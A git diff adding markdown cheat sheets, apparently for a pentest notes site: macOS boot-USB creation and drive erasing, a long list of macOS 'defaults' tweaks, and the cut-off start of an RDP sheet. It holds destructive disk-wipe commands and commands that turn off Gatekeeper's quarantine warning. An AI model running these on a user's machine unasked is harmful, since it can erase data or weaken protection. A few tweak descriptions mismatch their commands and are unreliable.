+> [!warning] "Resource busy" +> If `dd` refuses with `Resource busy`, you forgot `diskutil unmountDisk`. Do **not** reformat the drive to fix this. + +--- + +## 🪟 Windows 10/11 ISO — The Method That Actually Works + +> [!danger] Why `dd` fails for Windows +> Windows ISOs since ~2017 ship `sources/install.wim` larger than 4 GB. A `dd` copy preserves the ISO's internal filesystem (UDF/ISO9660), which most PC firmwares won't boot as a Windows installer. The canonical fix: format USB as **FAT32 + MBR**, copy files, and **split `install.wim`** with `wimlib` so it fits FAT32's 4 GB per-file limit. Windows Setup transparently reassembles split `.swm` files. + +### Prereqs + +```bash +# Install wimlib (provides wimlib-imagex) +brew install wimlib +``` + +### Full procedure + +```bash +# 1. Find the USB +diskutil list +# Assume it's /dev/disk4 — a 16 GB+ stick + +# 2. Format: MS-DOS (FAT32) + MBR, label WIN11 +sudo diskutil eraseDisk MS-DOS "WIN11" MBR /dev/disk4 + +# 3. Mount the Windows ISO +hdiutil mount ~/Downloads/Win11_English_x64.iso +# Note the mount point — usually /Volumes/CCCOMA_X64FRE_EN-US_DV9 +# (name varies by build/language) + +# 4. Set variables for clarity +ISO_MOUNT="/Volumes/CCCOMA_X64FRE_EN-US_DV9" +USB_MOUNT="/Volumes/WIN11" + +# 5. Copy everything EXCEPT install.wim (too big for FAT32) +rsync -avh --progress --exclude='sources/install.wim' "$ISO_MOUNT/" "$USB_MOUNT/" + +# 6. Split install.wim into <4 GB chunks directly onto the USB +wimlib-imagex split "$ISO_MOUNT/sources/install.wim" \ + "$USB_MOUNT/sources/install.swm" 3800 + +# 7. Unmount cleanly (flush buffers — this takes a minute, be patient) +hdiutil unmount "$ISO_MOUNT" +diskutil eject /dev/disk4 +``` + +> [!note] Why `3800` MB? +> FAT32's per-file cap is 4 GiB = 4096 MB. `3800` leaves headroom; Microsoft docs suggest splitting below the limit. + +> [!tip] If the target PC won't boot the USB +> - Some modern PCs want **GPT**, not MBR. Re-run step 2 with `GPT` instead of `MBR` and try again. +> - In BIOS/UEFI, disable **CSM/Legacy** and ensure **Secure Boot** is off for installation. +> - For **Windows 7** (legacy), `dd` actually works fine — the `.wim` bloat is a modern Windows problem. + +### Windows ARM ISO (for Apple Silicon VMs) + +Same procedure, but `install.wim` is often **under** 4 GB — try a straight `rsync` first with no split: + +```bash +rsync -avh --progress "$ISO_MOUNT/" "$USB_MOUNT/" +# If it fails on install.wim, fall back to the wimlib-split step above. +``` + +--- + +## 🧹 `diskutil` — Erasing & Secure-Erasing Drives + +> [!danger] Read this first +> Every `diskutil erase*` verb is **destructive and immediate** — no confirmation prompt, no undo. Always run `diskutil list` twice and target the correct `/dev/diskN`. Hitting `disk0` wipes your Mac's internal SSD. + +### Verb cheat sheet + +| Verb | What it does | Scope | +|---|---|---| +| `eraseDisk` | Wipe entire disk, lay down new partition scheme + one volume | Whole drive | +| `eraseVolume` | Wipe a single mounted volume, keep the disk's partition scheme | One partition | +| `partitionDisk` | Wipe disk and create multiple partitions in one shot | Whole drive | +| `zeroDisk` | Fill entire disk with zeros (single pass) | Whole drive | +| `randomDisk <passes>` | Fill entire disk with random data, N passes | Whole drive | +| `secureErase <level>` | Multi-pass overwrite wipe of a whole disk | Whole drive | +| `secureErase freespace <level>` | Overwrite only the unused space on a mounted volume | Free space only | + +### Formats you'll actually use + +| Format string | Real filesystem | Typical use | +|---|---|---| +| `APFS` | APFS | Modern macOS-only volumes | +| `JHFS+` | Mac OS Extended (Journaled) | macOS legacy / Time Machine on HDD | +| `MS-DOS` or `MS-DOS FAT32` | FAT32 | Windows installers, UEFI boot, BIOS flash | +| `ExFAT` | exFAT | Large files + cross-OS (no 4 GB limit) | +| `Free Space` | unformatted | Create a blank slot for later | + +### Partition schemes + +| String | When to use | +|---|---| +| `MBR` / `MBRFormat` | Windows installer USB (FAT32 + MBR), legacy BIOS | +| `GPT` / `GPTFormat` | Modern UEFI systems, anything >2 TB, most 2020+ PCs | +| `APM` / `APMFormat` | PowerPC-era Macs — don't use unless you need to | + +### Common erase patterns + +```bash +# Plain reformat a USB as exFAT + GPT (cross-OS daily-driver stick) +sudo diskutil eraseDisk ExFAT "DATA" GPT /dev/disk4 + +# FAT32 + MBR for a Windows installer USB +sudo diskutil eraseDisk MS-DOS "WIN11" MBR /dev/disk4 + +# APFS + GPT for a macOS-only stick +sudo diskutil eraseDisk APFS "MACSTICK" GPT /dev/disk4 + +# Wipe a single mounted volume, keep the scheme intact +sudo diskutil eraseVolume JHFS+ "Scratch" /Volumes/Scratch + +# Partition a disk into two volumes in one go (exFAT + APFS, GPT) +sudo diskutil partitionDisk /dev/disk4 2 GPT \ + ExFAT "SHARED" 50% \ + APFS "MACONLY" 0b +``` + +### Secure erase — `diskutil secureErase` + +> [!warning] Secure erase on SSDs / USB flash is largely theatre +> Apple removed the GUI option because **overwriting doesn't reliably wipe flash**. Wear-levelling, over-provisioning, and TRIM mean the controller may silently keep copies of "erased" blocks. Use it on **spinning HDDs** where it actually works. For SSDs/flash, prefer **FileVault / encryption with a discarded key**, or the drive's own ATA Secure Erase / NVMe Sanitize (usually only accessible from Linux via `hdparm` / `nvme-cli`). + +**Syntax:** + +```bash +sudo diskutil secureErase <level> /dev/diskN +sudo diskutil secureErase freespace <level> /Volumes/VolumeName +``` + +**Levels** (yes, the numbering is bizarre): + +| Level | Passes | Standard | Notes | +|---|---|---|---| +| `0` | 1 | Single-pass zero | Fast. Fine for HDDs. | +| `1` | 1 | Single-pass random | Slightly better than zeros on HDD | +| `2` | **7** | DoE 3-pass (historic: DoD 5220.22-M 7-pass) | Overkill for modern HDDs | +| `3` | **35** | Gutmann | Almost never justified; hours–days | +| `4` | **3** | US DoD 5220.22-M (3-pass) | The "sensible paranoid" option | + +**Examples:** + +```bash +# Single zero-pass wipe of a whole USB (HDD-era fast option) +sudo diskutil secureErase 0 /dev/disk4 + +# DoD 3-pass wipe of a USB stick (for pentest engagement hygiene) +sudo diskutil secureErase 4 /dev/disk4 + +# Scrub only the free space on a mounted volume — leaves files intact, +# tries to kill recoverable remnants of already-deleted files +sudo diskutil secureErase freespace 1 /Volumes/DATA + +# Equivalent "lite" path: single-pass zero-fill of whole disk +sudo diskutil zeroDisk /dev/disk4 + +# Random-fill, 3 passes +sudo diskutil randomDisk 3 /dev/disk4 +``` + +> [!tip] Ctrl+T for progress +> `secureErase`, `zeroDisk`, and `randomDisk` are quiet. Press **Ctrl+T** in the terminal to send SIGINFO and get a one-line progress update. + +### Pentest-engagement hygiene recipe + +For reusable installer/tooling USBs between clients (bearing in mind flash-memory caveats above): + +```bash +# 1. Identify +diskutil list external physical + +# 2. Unmount (just in case) +diskutil unmountDisk /dev/disk4 + +# 3. Single random-pass (good enough for flash; don't waste cycles on 7/35) +sudo diskutil randomDisk 1 /dev/disk4 + +# 4. Reformat ready for the next client +sudo diskutil eraseDisk ExFAT "ENGAGEMENT" GPT /dev/disk4 +``` + +For genuinely sensitive data on flash, **encrypt from day one** (APFS encrypted volume or LUKS from Linux) and destroy the passphrase at end-of-life — that's the only reliable "secure erase" for modern flash. + +--- + +## 🔁 Quick Reference Table + +| Scenario | Tool | Target filesystem | Partition | Notes | +| ----------------------------- | ------------------ | ----------------- | --------- | ----------------------------- | +| Kali / Ubuntu / Linux live | `dd` | (raw write) | n/a | `bs=4m`, use `rdiskN` | +| FreeBSD / OpenBSD | `dd` | (raw write) | n/a | Same as above | +| macOS installer (DMG→ISO) | `createinstallmedia` | HFS+ | GPT | Apple's own tool, not `dd` | +| Windows 7 | `dd` | (raw write) | n/a | Legacy — works | +| **Windows 10 / 11 (x64)** | `rsync` + `wimlib` | FAT32 | MBR (GPT fallback) | **Do not use `dd`** | +| Windows 11 ARM | `rsync` (+ wimlib if >4GB) | FAT32 | MBR/GPT | Check `install.wim` size first | + +--- + +## 🧰 Handy One-Liners + +```bash +# Identify only external physical disks (less scary than plain `diskutil list`) +diskutil list external physical + +# Check install.wim size before deciding split vs direct copy +ls -lh /Volumes/CCCOMA_*/sources/install.wim + +# Watch dd progress without status=progress (send SIGINFO) +# During dd, press Ctrl+T + +# Unmount every partition of a disk at once +diskutil unmountDisk force /dev/disk4 + +# Verify what's actually on the stick after burning +diskutil info /dev/disk4 +``` + +--- + +## 🧯 Troubleshooting + +| Symptom | Fix | +|---|---| +| `dd: /dev/rdisk4: Resource busy` | `diskutil unmountDisk /dev/disk4` first | +| `dd: Permission denied` | Prefix with `sudo`; on Sonoma+ grant Terminal **Full Disk Access** in System Settings → Privacy | +| Windows USB not listed in PC boot menu | Likely booted ISO raw with `dd` — redo with the rsync+wimlib method | +| `rsync: failed: Read-only file system` | macOS mounted the FAT32 stick read-only (seen on some Sonoma builds). Re-plug, or erase again with `diskutil eraseDisk MS-DOS "WIN11" MBR /dev/disk4` | +| Windows installer says "can't find drivers" mid-install | Try a **USB 2.0 port** — some Win10 media lacks USB 3.x xHCI drivers | +| `hdiutil: mount failed` | ISO may be corrupt — re-verify the SHA-256 | +| Secure Boot rejects the USB | Disable Secure Boot during install, re-enable after | + +--- + +## 🔐 Security-Adjacent Notes (relevant for pentest lab work) + +- **Always verify ISO hashes** — pre-poisoned ISOs (e.g. backdoored Kali mirrors) have happened. Cross-check against multiple sources for release signing keys. +- For a clean **evidence-grade write**, follow `dd` with `sync; sync` and a hash of the source ISO vs `dd if=/dev/rdisk4 bs=4m count=<iso_blocks> | shasum -a 256` (read back and compare). +- Throwaway installer sticks for engagements: consider `shred` / `diskutil secureErase` between clients to avoid cross-contamination of tooling. + +--- + +## 🔗 Related + +- ligolo-ng Cheatsheet +- Kali on Parallels M1 Setup +- NetHydra VM Provisioning diff --git a/src/content/sheets/linux-it/macos-terminal-tweaks.md b/src/content/sheets/linux-it/macos-terminal-tweaks.md @@ -0,0 +1,792 @@ +--- +title: "macOS Terminal Tweaks" +description: "defaults write com.apple.dock autohide-delay -float 0; killall Dock" +category: linux-it +tags: ["linux-it"] +tools: ["Responder"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:macOS Terminal Tweaks Cheat Sheet.md" +--- +# 🍎 macOS Hidden Terminal Tweaks — Cheat Sheet + +> [!info] How `defaults` works +> `defaults write <domain> <key> <type> <value>` writes a preference. +> `defaults delete <domain> <key>` removes it (restoring the macOS default). +> Most changes need the affected app restarted — commands below include `killall` where needed. +> `killall SystemUIServer` restarts the menu bar. `killall Dock` restarts the Dock. + +--- + +## 🗂️ Table of Contents + +- #🚢 Dock +- #🔍 Finder +- #🖥️ Desktop +- #📸 Screenshots +- #🎬 Animations & UI Speed +- #🌀 Mission Control & Spaces +- #⌨️ Keyboard +- #🖱️ Trackpad & Mouse +- #🧭 Safari +- #📬 Mail +- #📝 TextEdit +- #📆 Calendar +- #🔦 Spotlight +- #⚡ Power & Sleep (pmset) +- #🌐 Network +- #🔒 Security & Privacy +- #📊 Activity Monitor +- #⏱️ Time Machine +- #🚀 Launchpad +- #🔄 Hot Corners Reference +- #🛠️ Miscellaneous System + +--- + +## 🚢 Dock + +### Autohide Behaviour +```bash +# Delay before Dock appears on hover (0 = instant) +defaults write com.apple.dock autohide-delay -float 0; killall Dock + +# Animation speed (0 = instant, 1 = default) +defaults write com.apple.dock autohide-time-modifier -float 0.2; killall Dock + +# Enable autohide +defaults write com.apple.dock autohide -bool true; killall Dock + +# Reset both to macOS defaults +defaults delete com.apple.dock autohide-delay +defaults delete com.apple.dock autohide-time-modifier +killall Dock +``` + +### Appearance & Size +```bash +# Dock icon size (pixels, default 48) +defaults write com.apple.dock tilesize -int 48; killall Dock + +# Enable magnification +defaults write com.apple.dock magnification -bool true; killall Dock + +# Magnification size (pixels) +defaults write com.apple.dock largesize -int 72; killall Dock + +# Dock position: bottom | left | right +defaults write com.apple.dock orientation -string "bottom"; killall Dock + +# Minimise window effect: genie | scale | suck +defaults write com.apple.dock mineffect -string "scale"; killall Dock + +# Dim hidden app icons +defaults write com.apple.dock showhidden -bool true; killall Dock + +# Show indicator dots for open apps +defaults write com.apple.dock show-process-indicators -bool true; killall Dock + +# Show recent apps section +defaults write com.apple.dock show-recents -bool false; killall Dock +``` + +### Behaviour +```bash +# Only show apps that are open (no pinned apps) +defaults write com.apple.dock static-only -bool true; killall Dock + +# Single app mode (hides all other apps when switching) +defaults write com.apple.dock single-app -bool true; killall Dock + +# Scroll up on Dock icon to show Exposé for that app +defaults write com.apple.dock scroll-to-open -bool true; killall Dock + +# Enable spring-loading for all Dock items +defaults write com.apple.dock enable-spring-load-actions-on-all-items -bool true; killall Dock + +# Disable launch animation bounce +defaults write com.apple.dock launchanim -bool false; killall Dock + +# Add a blank spacer tile to the Dock +defaults write com.apple.dock persistent-apps -array-add '{"tile-type"="spacer-tile";}'; killall Dock +``` + +### Launchpad / Springboard Animation Speeds +```bash +defaults write com.apple.dock springboard-show-duration -float 0.1; killall Dock +defaults write com.apple.dock springboard-hide-duration -float 0.1; killall Dock +defaults write com.apple.dock springboard-page-duration -float 0.15; killall Dock +``` + +--- + +## 🔍 Finder + +### Show / Hide +```bash +# Show hidden files (dotfiles) +defaults write com.apple.finder AppleShowAllFiles -bool true; killall Finder + +# Show all filename extensions +defaults write NSGlobalDomain AppleShowAllExtensions -bool true; killall Finder + +# Show path bar at the bottom +defaults write com.apple.finder ShowPathbar -bool true; killall Finder + +# Show status bar at the bottom +defaults write com.apple.finder ShowStatusBar -bool true; killall Finder + +# Show full POSIX path in title bar +defaults write com.apple.finder _FXShowPosixPathInTitle -bool true; killall Finder + +# Allow quitting Finder via Cmd+Q +defaults write com.apple.finder QuitMenuItem -bool true; killall Finder + +# Keep folders on top when sorting by name +defaults write com.apple.finder _FXSortFoldersFirst -bool true; killall Finder + +# Keep folders on top on the Desktop too +defaults write com.apple.finder _FXSortFoldersFirstOnDesktop -bool true; killall Finder +``` + +### Default View +```bash +# Set default view style: +# Nlsv = List | icnv = Icon | clmv = Column | Flwv = Gallery +defaults write com.apple.finder FXPreferredViewStyle -string "Nlsv"; killall Finder +``` + +### Warnings & Behaviour +```bash +# Disable extension change warning +defaults write com.apple.finder FXEnableExtensionChangeWarning -bool false; killall Finder + +# Disable Trash empty warning +defaults write com.apple.finder WarnOnEmptyTrash -bool false; killall Finder + +# Auto-remove items from Trash after 30 days +defaults write com.apple.finder FXRemoveOldTrashItems -bool true; killall Finder + +# Disable iCloud as default save location +defaults write NSGlobalDomain NSDocumentSaveNewDocumentsToCloud -bool false + +# Expand save panel by default +defaults write NSGlobalDomain NSNavPanelExpandedStateForSaveMode -bool true +defaults write NSGlobalDomain NSNavPanelExpandedStateForSaveMode2 -bool true + +# Expand print panel by default +defaults write NSGlobalDomain PMPrintingExpandedStateForPrint -bool true +defaults write NSGlobalDomain PMPrintingExpandedStateForPrint2 -bool true +``` + +### Search Scope +```bash +# Search current folder by default (SCcf = current folder | SCev = entire volume) +defaults write com.apple.finder FXDefaultSearchScope -string "SCcf"; killall Finder +``` + +### Animations +```bash +# Disable all Finder animations +defaults write com.apple.finder DisableAllAnimations -bool true; killall Finder +``` + +--- + +## 🖥️ Desktop + +```bash +# Hide all desktop icons (useful for presentations / clean screenshots) +defaults write com.apple.finder CreateDesktop -bool false; killall Finder + +# Show hard drives on Desktop +defaults write com.apple.finder ShowHardDrivesOnDesktop -bool true; killall Finder + +# Show external hard drives on Desktop +defaults write com.apple.finder ShowExternalHardDrivesOnDesktop -bool true; killall Finder + +# Show mounted network servers on Desktop +defaults write com.apple.finder ShowMountedServersOnDesktop -bool true; killall Finder + +# Show removable media (USB, SD) on Desktop +defaults write com.apple.finder ShowRemovableMediaOnDesktop -bool true; killall Finder +``` + +--- + +## 📸 Screenshots + +```bash +# Change save location (change path as needed) +defaults write com.apple.screencapture location ~/Desktop + +# Change file format: png | jpg | heic | gif | pdf | tiff +defaults write com.apple.screencapture type -string "png" + +# Disable shadow / drop shadow around window screenshots +defaults write com.apple.screencapture disable-shadow -bool true + +# Disable floating thumbnail (the preview in corner after screenshot) +defaults write com.apple.screencapture show-thumbnail -bool false + +# Don't include date in screenshot filename +defaults write com.apple.screencapture include-date -bool false + +# Apply changes (no restart needed after this) +killall SystemUIServer +``` + +--- + +## 🎬 Animations & UI Speed + +> [!tip] Disable all animations for max speed +> Run all blocks below for a completely snappy UI experience. + +### System-Wide (NSGlobalDomain) +```bash +# Disable window open/close animations +defaults write NSGlobalDomain NSAutomaticWindowAnimationsEnabled -bool false + +# Disable scroll animations +defaults write NSGlobalDomain NSScrollAnimationEnabled -bool false + +# Speed up window resize time (default 0.2, lower = faster) +defaults write NSGlobalDomain NSWindowResizeTime -float 0.001 + +# Disable rubber-band / elastic scrolling +defaults write NSGlobalDomain NSScrollViewRubberbanding -bool false + +# Speed up Quick Look panel animation +defaults write NSGlobalDomain QLPanelAnimationDuration -float 0 + +# Speed up toolbar full screen animation +defaults write NSGlobalDomain NSToolbarFullScreenAnimationDuration -float 0 + +# Speed up column browser animation +defaults write NSGlobalDomain NSBrowserColumnAnimationSpeedMultiplier -float 0.001 + +# Disable version browser animation +defaults write NSGlobalDomain NSDocumentRevisionsWindowTransformAnimation -bool false +``` + +### Dock +```bash +defaults write com.apple.dock expose-animation-duration -float 0.1; killall Dock +defaults write com.apple.dock launchanim -bool false; killall Dock +``` + +### Finder +```bash +defaults write com.apple.finder DisableAllAnimations -bool true; killall Finder +``` + +### Mail +```bash +defaults write com.apple.mail DisableReplyAnimations -bool true +defaults write com.apple.mail DisableSendAnimations -bool true +``` + +--- + +## 🌀 Mission Control & Spaces + +```bash +# Speed up Mission Control animation +defaults write com.apple.dock expose-animation-duration -float 0.1; killall Dock + +# Don't automatically rearrange Spaces based on use +defaults write com.apple.dock mru-spaces -bool false; killall Dock + +# Group windows by application in Mission Control +defaults write com.apple.dock expose-group-apps -bool true; killall Dock + +# Displays have separate Spaces +defaults write com.apple.spaces spans-displays -bool false; killall Dock + +# Switch to a Space with an open window when switching apps +defaults write NSGlobalDomain AppleSpacesSwitchOnActivate -bool true +``` + +--- + +## ⌨️ Keyboard + +```bash +# Enable key repeat (disable accent popup on hold) +defaults write NSGlobalDomain ApplePressAndHoldEnabled -bool false + +# Key repeat rate (lower = faster, minimum ~1) +defaults write NSGlobalDomain KeyRepeat -int 2 + +# Delay before key repeat starts (lower = faster, minimum ~10) +defaults write NSGlobalDomain InitialKeyRepeat -int 15 + +# Enable full keyboard navigation (Tab between all controls) +defaults write NSGlobalDomain AppleKeyboardUIMode -int 3 + +# Disable smart quotes (useful for coding) +defaults write NSGlobalDomain NSAutomaticQuoteSubstitutionEnabled -bool false + +# Disable smart dashes +defaults write NSGlobalDomain NSAutomaticDashSubstitutionEnabled -bool false + +# Disable autocorrect +defaults write NSGlobalDomain NSAutomaticSpellingCorrectionEnabled -bool false + +# Disable auto-capitalisation +defaults write NSGlobalDomain NSAutomaticCapitalizationEnabled -bool false + +# Disable double-space period shortcut +defaults write NSGlobalDomain NSAutomaticPeriodSubstitutionEnabled -bool false +``` + +--- + +## 🖱️ Trackpad & Mouse + +### Trackpad +```bash +# Enable tap to click +defaults write com.apple.AppleMultitouchTrackpad Clicking -bool true +defaults write com.apple.driver.AppleBluetoothMultitouch.trackpad Clicking -bool true +defaults -currentHost write NSGlobalDomain com.apple.mouse.tapBehavior -int 1 + +# Enable three-finger drag +defaults write com.apple.AppleMultitouchTrackpad TrackpadThreeFingerDrag -bool true +defaults write com.apple.driver.AppleBluetoothMultitouch.trackpad TrackpadThreeFingerDrag -bool true + +# Disable natural scrolling +defaults write NSGlobalDomain com.apple.swipe-navigate-with-scrolls -bool false + +# Enable swipe-to-navigate in browsers +defaults write NSGlobalDomain AppleEnableSwipeNavigateWithScrolls -bool true +``` + +### Mouse +```bash +# Disable mouse acceleration (linear movement) +defaults write .GlobalPreferences com.apple.mouse.linear -bool true + +# Set mouse tracking speed (0.0–3.0) +defaults write NSGlobalDomain com.apple.mouse.scaling -float 2.5 + +# Set scroll speed +defaults write NSGlobalDomain com.apple.scrollwheel.scaling -float 0.6875 +``` + +--- + +## 🧭 Safari + +```bash +# Show full URL in address bar (not just domain) +defaults write com.apple.Safari ShowFullURLInSmartSearchField -bool true + +# Disable search suggestions +defaults write com.apple.Safari SuppressSearchSuggestions -bool true +defaults write com.apple.Safari UniversalSearchEnabled -bool false + +# Enable Develop menu +defaults write com.apple.Safari IncludeDevelopMenu -bool true +defaults write com.apple.Safari WebKitDeveloperExtrasEnabledPreferenceKey -bool true + +# Enable debug menu +defaults write com.apple.Safari IncludeInternalDebugMenu -bool true + +# Disable auto-opening of downloaded "safe" files +defaults write com.apple.Safari AutoOpenSafeDownloads -bool false + +# Set history limit in days (default 31) +defaults write com.apple.Safari WebKitHistoryAgeInDaysLimit -int 365 + +# Disable thumbnail cache for History and Top Sites +defaults write com.apple.Safari DebugSnapshotsUpdatePolicy -int 2 +``` + +--- + +## 📬 Mail + +```bash +# Disable send animation +defaults write com.apple.mail DisableSendAnimations -bool true + +# Disable reply animation +defaults write com.apple.mail DisableReplyAnimations -bool true + +# Copy email addresses as 'Name <email>' not just 'email' +defaults write com.apple.mail AddressesIncludeNameOnPasteboard -bool true + +# Disable inline attachments (show as icons) +defaults write com.apple.mail DisableInlineAttachmentViewing -bool true + +# Disable spell checking +defaults write com.apple.mail SpellCheckingBehavior -string "NoSpellCheckingEnabled" +``` + +--- + +## 📝 TextEdit + +```bash +# Use plain text mode by default +defaults write com.apple.TextEdit RichText -int 0 + +# Set encoding to UTF-8 +defaults write com.apple.TextEdit PlainTextEncoding -int 4 +defaults write com.apple.TextEdit PlainTextEncodingForWrite -int 4 + +# Disable smart quotes in TextEdit +defaults write com.apple.TextEdit SmartQuotes -bool false +``` + +--- + +## 📆 Calendar + +```bash +# Show week numbers +defaults write com.apple.iCal "Show Week Numbers" -bool true + +# Set first day of week: 0=Sunday, 1=Monday, 2=Tuesday... +defaults write com.apple.iCal "first day of week" -int 1 + +# Show 24-hour clock +defaults write com.apple.iCal "number of hours displayed" -int 14 +``` + +--- + +## 🔦 Spotlight + +```bash +# Disable Spotlight indexing for a volume +sudo mdutil -i off / + +# Enable Spotlight indexing for a volume +sudo mdutil -i on / + +# Rebuild Spotlight index for a volume +sudo mdutil -E / + +# Disable Spotlight indexing for ALL volumes +sudo mdutil -a -i off +``` + +--- + +## ⚡ Power & Sleep (pmset) + +> [!warning] These require `sudo` + +```bash +# Show current power settings +pmset -g + +# Set display sleep time in minutes (0 = never) +sudo pmset -a displaysleep 10 + +# Set system sleep time in minutes (0 = never) +sudo pmset -a sleep 30 + +# Disable Power Nap (background activity while sleeping) +sudo pmset -a powernap 0 + +# Enable Wake on Network Access +sudo pmset -a womp 1 + +# Set standby delay in seconds (default 10800 = 3 hours) +sudo pmset -a standbydelay 86400 + +# Disable TCP keep-alive during sleep (saves battery) +sudo pmset -a tcpkeepalive 0 + +# Hibernate mode: +# 0 = sleep only (RAM powered, fast wake) +# 3 = default (sleep + save to disk, safe) +# 25 = hibernate only (slowest, safest for battery) +sudo pmset -a hibernatemode 0 +``` + +### Caffeinate (prevent sleep temporarily) +```bash +# Prevent system from sleeping (Ctrl+C to stop) +caffeinate + +# Prevent display from sleeping +caffeinate -d + +# Prevent idle sleep +caffeinate -i + +# Keep system awake for N seconds (e.g. 1 hour) +caffeinate -t 3600 + +# Keep system awake until a specific process finishes +caffeinate -w <PID> +``` + +--- + +## 🌐 Network + +```bash +# Flush DNS cache +sudo dscacheutil -flushcache && sudo killall -HUP mDNSResponder + +# List all network interfaces +networksetup -listallnetworkservices + +# Turn Wi-Fi off / on +networksetup -setairportpower en0 off +networksetup -setairportpower en0 on + +# Show current Wi-Fi SSID +networksetup -getairportnetwork en0 + +# Set DNS servers +sudo networksetup -setdnsservers Wi-Fi 1.1.1.1 8.8.8.8 + +# Show public IP address +curl ifconfig.me + +# List open network connections +lsof -i + +# List listening ports +sudo lsof -i -P | grep LISTEN +``` + +--- + +## 🔒 Security & Privacy + +```bash +# Disable Gatekeeper quarantine warning ("App can't be opened") +defaults write com.apple.LaunchServices LSQuarantine -bool false + +# Re-enable quarantine warning +defaults write com.apple.LaunchServices LSQuarantine -bool true + +# Disable crash reporter dialog (reports still sent) +defaults write com.apple.CrashReporter DialogType -string "none" + +# Re-enable crash reporter dialog +defaults write com.apple.CrashReporter DialogType -string "crashreport" + +# Set a custom login window message +sudo defaults write /Library/Preferences/com.apple.loginwindow LoginwindowText "Property of [Your Name] — [phone number]" + +# Remove login window message +sudo defaults delete /Library/Preferences/com.apple.loginwindow LoginwindowText + +# Show/enable firewall +sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate on + +# Check SIP status +csrutil status +``` + +--- + +## 📊 Activity Monitor + +```bash +# Set update frequency: 0=very often(0.5s), 1=often(1s), 2=normal(2s), 3=rarely(5s) +defaults write com.apple.ActivityMonitor UpdatePeriod -int 1 + +# Set Dock icon to show: +# 0=App Icon, 2=Network Usage, 3=Disk Activity, 4=CPU Usage, 5=CPU History +defaults write com.apple.ActivityMonitor IconType -int 5 + +# Show all processes (not just user's) +defaults write com.apple.ActivityMonitor ShowCategory -int 0 +``` + +--- + +## ⏱️ Time Machine + +```bash +# Disable Time Machine prompt when connecting new drives +defaults write com.apple.TimeMachine DoNotOfferNewDisksForBackup -bool true + +# Disable local Time Machine backups (snapshots) +sudo tmutil disablelocal + +# Enable local Time Machine backups +sudo tmutil enablelocal + +# List all Time Machine snapshots +tmutil listlocalsnapshots / + +# Delete a specific snapshot +tmutil deletelocalsnapshots <YYYY-MM-DD-HHMMSS> +``` + +--- + +## 🚀 Launchpad + +```bash +# Reset Launchpad layout to default +defaults write com.apple.dock ResetLaunchPad -bool true; killall Dock + +# Speed up Launchpad open animation +defaults write com.apple.dock springboard-show-duration -float 0.1; killall Dock + +# Speed up Launchpad close animation +defaults write com.apple.dock springboard-hide-duration -float 0.1; killall Dock + +# Speed up Launchpad page-flip animation +defaults write com.apple.dock springboard-page-duration -float 0.15; killall Dock + +# Change Launchpad grid layout (columns x rows) +defaults write com.apple.dock springboard-columns -int 8; killall Dock +defaults write com.apple.dock springboard-rows -int 6; killall Dock +``` + +--- + +## 🔄 Hot Corners Reference + +> [!note] Command format +> `defaults write com.apple.dock wvous-XX-corner -int [ACTION]` +> `defaults write com.apple.dock wvous-XX-modifier -int [MODIFIER]` +> Then `killall Dock` +> Replace `XX` with: `tl` (top-left), `tr` (top-right), `bl` (bottom-left), `br` (bottom-right) + +### Action Values + +| Value | Action | +| --- | --- | +| `0` | Disabled / No-op | +| `2` | Mission Control | +| `3` | Application Windows | +| `4` | Desktop | +| `5` | Start Screen Saver | +| `6` | Disable Screen Saver | +| `10` | Put Display to Sleep | +| `11` | Launchpad | +| `12` | Notification Centre | +| `13` | Lock Screen | + +### Modifier Values + +| Value | Modifier Key | +| --- | --- | +| `0` | None | +| `131072` | ⇧ Shift | +| `262144` | ⌃ Control | +| `524288` | ⌥ Option | +| `1048576` | ⌘ Command | + +### Example: Bottom-Right → Lock Screen (no modifier) +```bash +defaults write com.apple.dock wvous-br-corner -int 13 +defaults write com.apple.dock wvous-br-modifier -int 0 +killall Dock +``` + +### Example: Top-Left → Mission Control with Shift held +```bash +defaults write com.apple.dock wvous-tl-corner -int 2 +defaults write com.apple.dock wvous-tl-modifier -int 131072 +killall Dock +``` + +--- + +## 🛠️ Miscellaneous System + +### System UI & Menu Bar +```bash +# Show battery percentage in menu bar +defaults -currentHost write com.apple.controlcenter BatteryShowPercentage -bool true; killall SystemUIServer + +# Show Bluetooth in menu bar +defaults -currentHost write com.apple.controlcenter Bluetooth -int 18; killall SystemUIServer + +# Expand save dialog by default +defaults write NSGlobalDomain NSNavPanelExpandedStateForSaveMode -bool true + +# Disable "Application Downloaded from Internet" warning +defaults write com.apple.LaunchServices LSQuarantine -bool false +``` + +### Terminal +```bash +# Only allow UTF-8 in Terminal.app +defaults write com.apple.terminal StringEncodings -array 4 + +# Disable the "Are you sure you want to quit Terminal?" prompt +defaults write com.apple.terminal QuitTabText -bool false +``` + +### App Behaviour +```bash +# Prevent apps from being automatically terminated when idle +defaults write NSGlobalDomain NSDisableAutomaticTermination -bool true + +# Resume apps on launch (keep windows from last session) +defaults write NSGlobalDomain NSQuitAlwaysKeepsWindows -bool true + +# Auto-quit printer app when print jobs complete +defaults write com.apple.print.PrintingPrefs "Quit When Finished" -bool true +``` + +### Disk Utility +```bash +# Enable Disk Utility debug menu +defaults write com.apple.DiskUtility DUDebugMenuEnabled -bool true + +# Show all partitions in Disk Utility +defaults write com.apple.DiskUtility advanced-image-options -bool true +``` + +### Quick Look +```bash +# Enable text selection in Quick Look +defaults write com.apple.finder QLEnableTextSelection -bool true; killall Finder +``` + +### App Store +```bash +# Enable WebKit Developer Tools in App Store +defaults write com.apple.appstore WebKitDeveloperExtras -bool true + +# Enable debug menu in App Store +defaults write com.apple.appstore ShowDebugMenu -bool true +``` + +--- + +## 🔁 Quick Resets + +```bash +# Restart Dock (apply most Dock changes) +killall Dock + +# Restart Finder (apply most Finder changes) +killall Finder + +# Restart SystemUIServer (apply menu bar changes) +killall SystemUIServer + +# Restart ControlCenter (macOS 11+) +killall ControlCenter + +# Read a specific preference to check its current value +defaults read com.apple.dock autohide-delay + +# List ALL preferences for an app +defaults read com.apple.finder + +# Delete a single preference key (restore default) +defaults delete com.apple.dock autohide-delay; killall Dock +``` + +--- + +*Sources: [mathiasbynens/dotfiles](https://github.com/mathiasbynens/dotfiles), [macos-defaults.com](https://macos-defaults.com), [robservatory.com](https://robservatory.com/speed-up-your-mac-via-hidden-prefs/), [sickcodes gist](https://gist.github.com/sickcodes)* diff --git a/src/content/sheets/linux-it/rdp.md b/src/content/sheets/linux-it/rdp.md @@ -0,0 +1,304 @@ +--- +title: "RDP" +description: "export 